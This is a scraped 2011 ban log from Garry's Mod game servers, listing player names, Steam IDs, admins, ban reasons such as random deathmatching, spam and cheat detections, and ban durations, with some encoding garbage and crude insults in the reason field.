+Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 Unbanned +3:15 pm 16-10-11 DZEJSON STEAM_0:0:23669277 RDM +[SP]+ Gearyâ?¢ +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +2:24 pm 16-10-11 LR | Fearsome Bart STEAM_0:1:26340330 If you want +unbanned, explain yourself Flapadar Fretta|Tigergruppe Kommand +Trouble in Terrorist Town Permanent Banned +2:19 pm 16-10-11 Augustus Cole STEAM_0:0:32868618 Perma banned +Cutie Fretta|Tigergruppe Kommand One In The Chamber Permanent Banned +12:34 pm 16-10-11 xX_danrules_Xx STEAM_0:1:42809223 RDM +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:3:0 Unbanned +10:31 am 16-10-11 [PL] Duncun506 STEAM_0:1:29742574 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +4:28 am 16-10-11 gunslinger STEAM_0:1:32587512 learning not to shoot +everyone is a good thing to learn MAD MANN Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:05 am 16-10-11 L1nk51 STEAM_0:1:39359782 Please learn how to play +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +10:29 pm 15-10-11 -[PUG]-=UAL=ChinChoSS/SnD\ STEAM_0:1:40668129 +micspam, idiot Flapadar Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +10:08 pm 15-10-11 Lemmiwinks STEAM_0:1:18967422 Threatening to ddos +meh booy Nekoace Killa's Zombie Survival Server Zombie Survival +Permanent Banned +9:59 pm 15-10-11 [NK] Fuzzy MCnomnom [S] STEAM_0:0:15009318 +Attempting to prop kill/rdm Nekoace Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:16:40 Unbanned +9:22 pm 15-10-11 Rhys STEAM_0:1:5349362 RDM +[SP]+ Marked One [SK] +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:07 pm 15-10-11 Loligator STEAM_0:0:26768817 ' It ' s not nice to +RDM. ' Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +5:56 pm 15-10-11 miÑ?ro_killer STEAM_0:0:12915645 TK ' ing multiple +traitors +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +11:19 am 15-10-11 The Thespian STEAM_0:1:26509632 Name +impersonation +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +12:54 am 15-10-11 Dakster STEAM_0:0:4089266 You're a fat asshole ++[SP]+ Grim Jam Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +9:23 pm 14-10-11 Unknown STEAM_0:1:19095943 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:22 pm 14-10-11 Unknown STEAM_0:1:19831541 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +1:36 pm 13-10-11 Unknown STEAM_0:1:37681134 Cheat: CubHack +(Console) Fretta|Tigergruppe Kommand Crate Wars Permanent Banned +7:54 pm 12-10-11 +[SP]+ Saphira STEAM_0:0:16962740 Hah +[SP]+ +Hellknite Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +5:43 pm 12-10-11 ì?¤ë§?ì?¨!!!! ì??!!!!!!!!!!!!!! STEAM_0:0:17900461 +asshat +[SP]+ Grim Jam Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:30 Unbanned +1:15 pm 12-10-11 Unknown STEAM_0:1:15778113 Cheat: CubHack +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +1:14 pm 12-10-11 Unknown STEAM_0:1:29226146 Cheat: CubHack +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +12:32 pm 12-10-11 FluX | Kabu Nato STEAM_0:1:41074136 Alt of banned +ID STEAM_0:0:40982945 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:16:36 Unbanned +12:28 pm 12-10-11 FluX |Cirken STEAM_0:0:40982945 rdm Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +12:01 pm 12-10-11 Freeman 123 STEAM_0:0:40072373 tango sucka! +Nekoace Fretta|Tigergruppe Kommand One In The Chamber 0:16:40 Unbanned +6:14 pm 11-10-11 Unknown STEAM_0:0:30440286 False KOS ' ing +[SP]+ +Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +10:14 pm 10-10-11 FluX | Kabu Nato STEAM_0:1:41074136 dont be a +douchebag +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:10 Unbanned +10:13 pm 10-10-11 FluX |Cirken STEAM_0:0:40982945 dont be a +douchebag +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:10 Unbanned +9:12 pm 10-10-11 Gentleman S.T.A.L.K.E.R STEAM_0:1:14152890 RDM +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +8:51 pm 10-10-11 Ereqqu STEAM_0:1:20313149 Ghosting Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:28 pm 10-10-11 Knome STEAM_0:1:38216645 Alt of banned ID +STEAM_0:1:12151307 (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +7:27 pm 10-10-11 Tupac STEAM_0:0:11376561 GTFO aswell Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:26 pm 10-10-11 Wupack STEAM_0:1:18669949 GTFO Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:17 pm 10-10-11 spartaaaa!!! STEAM_0:1:44959543 your rdmer go play +in the garden now +[SP]+ Ecuilirum Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:1:0 Unbanned +4:57 pm 10-10-11 *insert creative name here* STEAM_0:0:27810005 RDM ++[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:0 Unbanned +4:39 pm 10-10-11 fran STEAM_0:1:41954911 RDM Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +2:15 pm 10-10-11 Unknown STEAM_0:0:31776035 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +2:14 pm 10-10-11 Unknown STEAM_0:1:44138147 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +2:14 pm 10-10-11 Unknown STEAM_0:0:19318165 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +2:14 pm 10-10-11 Unknown STEAM_0:0:30714265 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +4:36 am 10-10-11 Chunky Tofuuuuuuuuuuuuuuu STEAM_0:0:22919872 rdm +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:40 +Unbanned +4:33 am 10-10-11 Kirvin STEAM_0:1:33803502 Rdm Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 Unbanned +3:53 am 10-10-11 The Traitor STEAM_0:0:24557761 retard Nekoace +Fretta|Tigergruppe Kommand Ultimate Hide And Seek 2.0 0:16:40 Unbanned +2:40 am 10-10-11 Unknown STEAM_0:0:37009678 Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +1:39 am 10-10-11 :NxS: R-Dizzle-My-Nizzle STEAM_0:1:30765769 rdm +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +1:34 am 10-10-11 Chunky Tofuuuuuuuuuuuuuuu STEAM_0:0:22919872 rdm +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:40 +Unbanned +10:36 pm 09-10-11 Unknown STEAM_0:1:43506894 Mulitple RDM,and being +being a nutsack +[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:10:20 Unbanned +7:56 pm 09-10-11 Gravity Cat STEAM_0:1:23097789 Permafooking banned +Nekoace Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +7:02 pm 09-10-11 Unknown STEAM_0:1:27646560 Faction named Loner ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:23:40 Unbanned +4:09 pm 09-10-11 Patapon STEAM_0:0:1004969 RDM fage Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +4:00 pm 09-10-11 CokeMonster STEAM_0:0:28689345 RDM Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +3:33 pm 09-10-11 GalaXieZ STEAM_0:1:39446024 holy shit 300 karma +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:16:40 Unbanned +3:12 pm 09-10-11 Generic Enemy STEAM_0:1:31598522 Alt of banned ID +STEAM_0:0:30440286 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:2:52 Unbanned +11:28 am 09-10-11 smietankaPR0 STEAM_0:0:37180160 Faction +exploiting Cutie Official Zombified World|Lvl Cap +10 Zombified +World 1:0:0 Unbanned +3:43 am 09-10-11 XpΩwN` ¤ǺÅ?Ä?ЯÄ?ħỴ¤ STEAM_0:1:28865609 HAVE +FUN IDIOT +[SP]+ Hellknite Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:10 Unbanned +3:40 am 09-10-11 XpΩwN` ¤ǺÅ?Ä?ЯÄ?ħỴ¤ STEAM_0:1:28865609 RDM. +Again. +[SP]+ SaCleoCheater Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:1 Unbanned +12:13 am 09-10-11 Wh!t3_T!g3r STEAM_0:0:33409449 was warned about +karma +[SP]+ Mr Dobilina Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:10 Unbanned +11:35 pm 08-10-11 a tator STEAM_0:0:5123570 Learn to play. +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +11:17 pm 08-10-11 Unknown STEAM_0:0:33935502 Constantly RDMing, +Killing fellow teammates as traitor, not responding to admin. +[SP]+ +SaCleoCheater Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:43 pm 08-10-11 Unknown STEAM_0:0:27473924 Faction exploiting, +blocking, was warned before +[SP]+ Marked One [SK] Official Zombified +World|Lvl Cap +10 Zombified World 2:0:0 Unbanned +8:01 pm 08-10-11 Enjeru STEAM_0:1:35245900 RDM Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +6:48 pm 08-10-11 Who STEAM_0:1:20093002 rdmer +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +4:54 pm 08-10-11 Unknown STEAM_0:1:19827182 Base Delete +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +7:15:20 Unbanned +4:53 pm 08-10-11 Unknown STEAM_0:1:34106703 Base Delete +[SP]+ +Marked One [SK] Official Zombified World|Lvl Cap +10 Zombified World +7:15:20 Unbanned +12:36 pm 08-10-11 Billy Mays STEAM_0:1:15743208 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 Unbanned +12:01 pm 08-10-11 Unknown STEAM_0:1:32681333 Cheat: Zbot (Console) +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +11:20 am 08-10-11 Xiiter- STEAM_0:0:3391527 RDM, low karma. +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +9:02 am 08-10-11 samwich STEAM_0:1:38539809 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:20 Unbanned +8:32 am 08-10-11 Xiiter- STEAM_0:0:3391527 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:20 Unbanned +12:06 am 08-10-11 kona309 STEAM_0:0:19163806 +[SP]+ SaCleoCheater +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 Unbanned +9:57 pm 07-10-11 Hot Monkey Trick STEAM_0:0:30577331 +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +7:51 pm 07-10-11 michaelrg STEAM_0:0:30889131 rdm asshole +[SP]+ +ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 +Unbanned +7:05 pm 07-10-11 Camper STEAM_0:0:30697563 fuck you asshole +[SP]+ +ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +4:58 pm 07-10-11 Unknown STEAM_0:1:16431495 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:58 pm 07-10-11 Unknown STEAM_0:0:39187983 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:58 pm 07-10-11 Unknown STEAM_0:0:36794289 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:57 pm 07-10-11 Unknown STEAM_0:1:33708353 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:57 pm 07-10-11 Unknown STEAM_0:1:12406388 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:57 pm 07-10-11 Unknown STEAM_0:0:27068832 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:57 pm 07-10-11 Unknown STEAM_0:1:36928215 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:57 pm 07-10-11 Unknown STEAM_0:0:41802 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:44 pm 07-10-11 YouR NigHTMaRe xXXx STEAM_0:1:33472170 RDM dumbass, +learn2play +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +12:45 pm 07-10-11 Unknown STEAM_0:1:12151307 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:45 pm 07-10-11 Unknown STEAM_0:0:30735853 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:45 pm 07-10-11 Unknown STEAM_0:0:10418914 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:45 pm 07-10-11 Unknown STEAM_0:0:30354552 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:52 pm 06-10-11 [$wag] Swag Child STEAM_0:0:4632301 retard +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +11:23 pm 06-10-11 A BIG BLACK COCK STEAM_0:0:29687698 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +11:07 pm 06-10-11 Unknown STEAM_0:1:5824699 RDM then leaving +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +10:16 pm 06-10-11 Unknown STEAM_0:1:13581505 RDM and leaving +Flapadar Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:37 pm 06-10-11 (_DiViNe_IcIcle_) STEAM_0:1:4677444 Asshole +yourself Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +5:31 pm 06-10-11 LeeroyJenkins STEAM_0:0:25965930 Claiming he will +ddos the server Nekoace Fretta|Tigergruppe Kommand Prop Hunt +Permanent Banned +3:44 pm 06-10-11 AMAZING! STEAM_0:0:11508173 Spamming constantly +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +3:00 pm 06-10-11 â?®Mai Haruhi STEAM_0:1:41997634 Bye Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:8:20 Unbanned +10:52 pm 05-10-11 C1vilized STEAM_0:0:40977463 RDMing Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:10 Unbanned +10:22 pm 05-10-11 Bmoney STEAM_0:1:6068535 Bye Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:8:20 Unbanned +7:39 pm 05-10-11 Pickle Delivery! STEAM_0:0:18699999 You ' ll enjoy +my ban then - Extended by flap Cutie Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 14:0:0 Unbanned +10:48 pm 04-10-11 Dareigeo STEAM_0:0:7820748 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:54 pm 04-10-11 Unknown STEAM_0:0:2336176 RDM + Leave. +[SP]+ +ULTRA Fretta|Tigergruppe Kommand Deathrun 0:12:0 Unbanned +9:26 pm 04-10-11 Chuck Norris (The Law) STEAM_0:1:18002201 RDMing at +the start of the round. Norzone Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +8:53 pm 04-10-11 Billy Mays STEAM_0:1:15743208 Low Karma Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:5 Unbanned +8:47 pm 04-10-11 Baltazar STEAM_0:1:19646623 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:14 pm 04-10-11 eradri AMG STEAM_0:1:18343753 Killing traitor +without valid proof Norzone Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:1:0 Unbanned +7:14 pm 04-10-11 Billy Mays STEAM_0:1:15743208 don't rdm +[SP]+ +ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:5 +Unbanned +3:18 pm 04-10-11 jura-b STEAM_0:1:39402013 rdm kid +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 Unbanned +5:51 pm 03-10-11 Quacken STEAM_0:0:31776035 RDM and claiming areas +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +10:00 pm 02-10-11 Rigbe STEAM_0:1:20555849 calm down ass hole +[SP]+ +Mr Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:0:10 Unbanned +9:32 pm 02-10-11 Unknown STEAM_0:0:38144547 RDMing Norzone +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +8:11 pm 02-10-11 DeathmagnetiC STEAM_0:1:41198266 shut up +[SP]+ +ULTRA Official Zombified World|Lvl Cap +10 Zombified World 0:2:0 +Unbanned +7:24 pm 02-10-11 Hannibal The Cannibal STEAM_0:0:30440286 hardy TARDy +TARD MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:22:40 Unbanned +7:15 pm 02-10-11 -[SP]- Suger Daddy STEAM_0:1:24184967 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +4:23 pm 02-10-11 Excl STEAM_0:0:19441588 RDM-fag, rdmed hatake +several times. +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +4:22 pm 02-10-11 NuKe59 STEAM_0:1:42181724 rdm +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:15 Unbanned +3:45 pm 02-10-11 Unknown STEAM_0:0:21704689 'Lol i propkilled the +detective' - propkilling Joo. Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +3:43 pm 02-10-11 Unknown STEAM_0:0:31632335 When an admin is not +online, i like to troll and spam mic Joo. Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 7:12:0 Unbanned +11:04 am 02-10-11 DreamH4ck3R-.^ STEAM_0:1:24031774 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +3:08 am 02-10-11 Unknown STEAM_0:0:37703583 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +2:39 am 02-10-11 John Galt STEAM_0:1:26885009 shit karma MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +2:34 am 02-10-11 jawz STEAM_0:0:34147570 im so smart... MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:20:40 Unbanned +2:09 am 02-10-11 Whizzler /̵Í?Ì¿/'Ì¿-Ì?-Ì?-Ì?' STEAM_0:1:35074833 +team killer MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town Permanent Banned +12:59 am 02-10-11 |EUP|n0rp STEAM_0:0:30460084 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +9:30 pm 01-10-11 Hunger moon STEAM_0:0:30785649 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +8:50 pm 01-10-11 Hannibal The Cannibal STEAM_0:0:30440286 spam MAD +MANN Fretta|Tigergruppe Kommand Deathrun 0:1:0 Unbanned +8:45 pm 01-10-11 Verse Impotent STEAM_0:0:5442162 this one HAHAHA +MAD MANN Fretta|Tigergruppe Kommand Deathrun Permanent Banned +8:43 pm 01-10-11 Melancholy Hill STEAM_0:1:41135456 spam MAD MANN +Fretta|Tigergruppe Kommand Deathrun 0:1:0 Unbanned +7:22 pm 01-10-11 Unknown STEAM_0:0:7338420 Idiot kid. +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +7:16 pm 01-10-11 The EVIL Spike STEAM_0:0:28414483 don't lie next +time; you didn't get shot(at least hurt...) first +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:5 Unbanned +6:39 pm 01-10-11 [TWP] Toothpick [R.I.P Maxx] STEAM_0:1:13297198 +dumbass +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +6:03 pm 01-10-11 ByB | Flaming Pyro |â?¢Â§Â§ STEAM_0:0:37572022 idiot +byb kid ignoring admin + rdm + randomly attacking people +[SP]+ ULTRA +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 7:0:0 Unbanned +3:47 pm 01-10-11 Unknown STEAM_0:0:5849424 failed rdmer MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +3:29 pm 01-10-11 Unknown STEAM_0:1:18669949 failed rdmer MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +3:18 pm 01-10-11 LeeroyJenkins STEAM_0:0:25965930 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +12:33 am 01-10-11 flame7746 STEAM_0:1:26881598 RDM admin +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +12:21 am 01-10-11 FrictioN STEAM_0:0:7291342 karma +[SP]+ Mr +Dobilina Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +10:31 pm 30-09-11 PuR3_H3R0_991 STEAM_0:1:26330374 LEARN TO PLAY ++[SP]+ EDDIE !!science!! STONE Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:30 Unbanned +8:56 pm 29-09-11 [Omega] Techno Fuzz STEAM_0:1:1354939 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:41 pm 29-09-11 Pbergovic STEAM_0:0:5223571 Traitor killing Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +6:01 pm 29-09-11 Unknown STEAM_0:1:24983426 Cheat: Hermes +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +5:30 pm 29-09-11 QuackenNagger STEAM_0:0:31776035 Fag Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 Unbanned +5:22 pm 29-09-11 Ã? Andraeas Su Fei Fläkt och C STEAM_0:1:35164355 +Low karma Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:16:40 Unbanned +5:22 pm 29-09-11 colewill STEAM_0:1:33265347 Low karma Nekoace +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:16:40 Unbanned +11:48 pm 28-09-11 Unknown STEAM_0:1:18503351 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +8:35 pm 28-09-11 *[SB]* â?±lying Navi-tech STEAM_0:1:39378076 Rdming +faggot Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +6:03 pm 28-09-11 Mr Sheen STEAM_0:1:21720283 trying to prop kill +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 +Unbanned +6:01 pm 28-09-11 â?¾Ï?â?½MrMonkeÆ´â?¢ STEAM_0:1:39312723 RDM +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 +Unbanned +5:55 pm 28-09-11 Nick ( the one and only ) STEAM_0:0:29007231 Rdm +Nekoace Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 +Unbanned +1:41 pm 28-09-11 Unknown STEAM_0:1:15080628 BUNNED MAD MAN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +10:09 pm 27-09-11 SlushIBeast STEAM_0:1:44644164 Alt of banned ID +STEAM_0:1:41052040 (Console) Killa's Zombie Survival Server Zombie +Survival Permanent Banned +6:39 pm 27-09-11 Jake STEAM_0:0:15009263 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +5:11 pm 27-09-11 Unknown STEAM_0:1:6796526 Injected cheats +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +5:10 pm 27-09-11 Unknown STEAM_0:1:14736268 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:49 pm 27-09-11 HaCkErKiLlAh STEAM_0:0:33009474 RDM +[SP]+ +Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +4:45 pm 27-09-11 aylapennings STEAM_0:1:41446687 Learn to play ++[SP]+ Gearyâ?¢ Fretta|Tigergruppe Kommand Trouble in Terrorist Town +6:6:0 Unbanned +6:59 pm 26-09-11 Autophobic STEAM_0:0:4175596 rdm MAD MAN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +4:23 pm 26-09-11 Unknown STEAM_0:1:41052040 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:23 pm 26-09-11 Unknown STEAM_0:0:30652639 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:23 pm 26-09-11 Unknown STEAM_0:0:22534432 Cheat: Code injection +(Console) Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +12:54 am 26-09-11 â?¢â?«Ã?βÒ?|=à¹?ICE=â?¢â?¢â??) +STEAM_0:0:11001120 rmd Wigbig Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:2:0 Unbanned +10:03 pm 25-09-11 [Jet] Sonicblitz STEAM_0:1:32783315 DONT GRIEF +AND TK +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Snifer 0:1:0 +Unbanned +6:08 pm 25-09-11 yomicyo STEAM_0:1:26579574 RDM, Mic SPam +[SP]+ +CCD Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +4:08 pm 25-09-11 serious zak <<>> STEAM_0:1:42333272 Permaban +shooting fellow traitors Cutie Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +4:06 pm 25-09-11 ^4(*FPs*)^0no gun no fun^2 STEAM_0:1:20523790 spam +Wigbig Killa's Zombie Survival Server Zombie Survival 2:2:0 Unbanned +4:02 pm 25-09-11 Ziemniak STEAM_0:0:26302355 +[SP]+ Gearyâ?¢ +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +4:01 pm 25-09-11 Dżelek NiÅ?dźa STEAM_0:1:20617376 nice ghost +MAD MAN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:54 pm 25-09-11 [T.A.U] Spyro40k STEAM_0:0:17022723 nice revenge +rdm MAD MAN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:12 pm 24-09-11 าà¸?à¸?าà¹?à¸?ยà¸?à¸?าà STEAM_0:1:39847971 +Pretending to be Vitadar, mega cunt-troll. Probably an OF player(real +men play vanilla) +[SP]+ ULTRA Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +4:00 pm 24-09-11 [Na] Kim Jung Il STEAM_0:0:8016169 RDM. +[SP]+ +ULTRA Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:5:0 +Unbanned +4:00 pm 24-09-11 Ù¸eBaã?? STEAM_0:1:27401146 Another fucking idiot 